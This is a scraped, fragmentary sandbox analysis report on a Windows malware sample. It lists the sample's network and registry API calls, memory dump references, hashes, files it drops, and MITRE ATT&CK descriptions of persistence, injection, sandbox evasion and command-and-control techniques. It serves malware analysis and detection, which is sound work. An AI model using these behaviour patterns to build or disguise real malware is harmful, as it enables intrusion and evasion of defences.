ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401D9F
connect.WS2_32(00000000,?,00000010), ref: 00401DB3
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401DC9
WSAGetLastError.WS2_32 ref: 00401DDB
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00401DF8

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction ID: 443f35bcad443bf4521d197b8b602cf4c8bc99f5fac3635e2f32846607df0921
Opcode Fuzzy Hash: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction Fuzzy Hash: E53191B15042005AE230AA65DD45FDF76EC9B8531CF00073EF999A62D1E678A62982EB

Function 004024CE Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 123stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00402520
lstrcpyA.KERNEL32(?,?), ref: 00402551
wsprintfA.USER32 ref: 004025A7
wsprintfA.USER32 ref: 004025C5
wsprintfA.USER32 ref: 00402620

Strings

p!A, xrefs: 00402632
%02X, xrefs: 004025BF

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$p!A
API String ID: 1876335253-3420651641
Opcode ID: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction ID: 2cea46374afef77fdc915a1e9f7db235c3865f046913e12eac0c1d1ce8585de9
Opcode Fuzzy Hash: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction Fuzzy Hash: 4F410331C002189BDB11EF68CD8979EBBF5BF40308F150176E815BB2D2D3B9A919C799

Function 00401912 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,00405EB0), ref: 0040193D
wsprintfA.USER32 ref: 00401953
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040197D
RegCloseKey.ADVAPI32(?,?,?,00000300,?,?,?,?,?,00020019,?,?,?,00405EB0), ref: 0040198D
RegDeleteKeyA.ADVAPI32(?), ref: 0040199A

Strings

%s\%s, xrefs: 0040194D

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: bc1c0bbb8f76672b1839e5cdb49d41e6cb4f6e9dc379d8bdb7dadbb7b60f7000
Instruction ID: 17f0bcb135b28bc178a216f8b2dfa9435dc5451e8c8b02a629b5be3cc13ba035
Opcode Fuzzy Hash: bc1c0bbb8f76672b1839e5cdb49d41e6cb4f6e9dc379d8bdb7dadbb7b60f7000
Instruction Fuzzy Hash: C601ACB2A042047BE52075266D03F9B76ECCBC574CF11007AF909B61D1E5799F2981BF

Function 00401439 Relevance: 9.1, APIs: 6, Instructions: 70registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,004074E0,00000000,0002001F,?,?,?,?,?,?,?,?,?,004053DB), ref: 00401455
RegQueryValueExA.ADVAPI32(?,0040751C,00000000,?,?,?,?,?,?,0002001F,?), ref: 00401482
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,0002001F,?), ref: 0040149E
RegOpenKeyExA.ADVAPI32(80000001,004074E0,00000000,0002001F,?,?,?,?,?,0002001F,?), ref: 004014BF
RegQueryValueExA.ADVAPI32(?,0040751C,00000000,?,?,?,?,?,?,0002001F,?,?,?,?,?,0002001F), ref: 004014F3

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: OpenQueryValue$Close
String ID:
API String ID: 2529929805-0
Opcode ID: 4a95097c5cd9ac49c2c0031509204a62f35eae4208d5cebb0b882de0ceae9e8d
Instruction ID: 4b3f21838edb9e41f667f6993cf98c5a1242fec43926aa3cdaef8ebd8d2009fd
Opcode Fuzzy Hash: 4a95097c5cd9ac49c2c0031509204a62f35eae4208d5cebb0b882de0ceae9e8d
Instruction Fuzzy Hash: 8C1187B2904300B7E700AA61AD46F2777ACBB8470DF11083EFD45B51D2F279DA288767

Function 00401EC9 Relevance: 7.6, APIs: 5, Instructions: 113networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 00401F45
recv.WS2_32(00000000,?,?,00000002), ref: 00401F5E
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401F7E
recv.WS2_32(00000000,?,-00000001,00000000), ref: 00401FB4
recv.WS2_32(00000000,?,00000000,00000000), ref: 00401FC6

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction ID: c66e6617afff8c9d9109827ab4c11b99613a78ce40c43f432ca9f356368ad492
Opcode Fuzzy Hash: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction Fuzzy Hash: 0A31097040C3429BD731DE14C984B6BBAD8EB81358F24453FF589A62D1E3BD8445D7A7

Function 0040263A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004026B1

Strings

(, xrefs: 00402679

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: select
String ID: (
API String ID: 1274211008-3887548279
Opcode ID: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction ID: 6522e2537fb8c8e721883018bf3c6a7a4605c561a93ab5d2b210f47b7f02e7dc
Opcode Fuzzy Hash: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction Fuzzy Hash: 094172341083859BD3318F24C588BEBFBE4EB89314F24492FD8D9972C2D3B99865CB56

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5SGOAKv7AR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\osgobah.dll

C:\Users\user\AppData\Roaming\tmp5C6F.tmp

C:\Windows\SysWOW64\edsuvoov-usum.exe

C:\Windows\SysWOW64\ehmehut.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
5SGOAKv7AR.exe